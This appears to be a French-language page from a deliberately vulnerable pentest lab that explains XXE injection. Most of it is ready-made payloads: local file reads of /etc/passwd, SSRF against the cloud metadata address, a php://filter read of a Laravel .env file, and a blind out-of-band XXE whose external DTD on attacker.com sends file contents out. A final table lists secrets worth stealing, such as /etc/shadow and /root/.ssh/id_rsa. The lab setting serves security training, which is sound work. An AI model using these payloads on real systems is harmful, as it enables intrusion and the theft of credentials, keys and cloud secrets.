Pentest Lab - Failles de Securite

ATTENTION: Ces pages contiennent des vulnerabilites volontaires pour tests uniquement!

XXE (XML External Entity)

Cette page parse du XML sans desactiver les entites externes.

Indices d'exploitation

  • Lecture de fichiers: <!ENTITY xxe SYSTEM "file:///etc/passwd">
  • SSRF via XXE: <!ENTITY xxe SYSTEM "http://internal-server/">
  • Blind XXE avec OOB: exfiltration via DNS ou HTTP

Parser XML

Payloads XXE

1. Lecture de fichier (Classic XXE)

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <name>&xxe;</name> </user>

2. SSRF via XXE

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]> <user> <name>&xxe;</name> </user>

3. PHP filter (pour lire du PHP sans l'executer)

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/.env"> ]> <user> <name>&xxe;</name> </user>

4. Blind XXE avec DTD externe

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> <user> <name>test</name> </user> // evil.dtd sur attacker.com: <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;

Fichiers interessants a lire

Fichier Description
/etc/passwdListe des utilisateurs
/etc/shadowHash des mots de passe (si root)
/var/www/html/.envVariables d'environnement Laravel
/proc/self/environVariables d'environnement du process
/root/.ssh/id_rsaCle SSH privee
/etc/apache2/apache2.confConfig Apache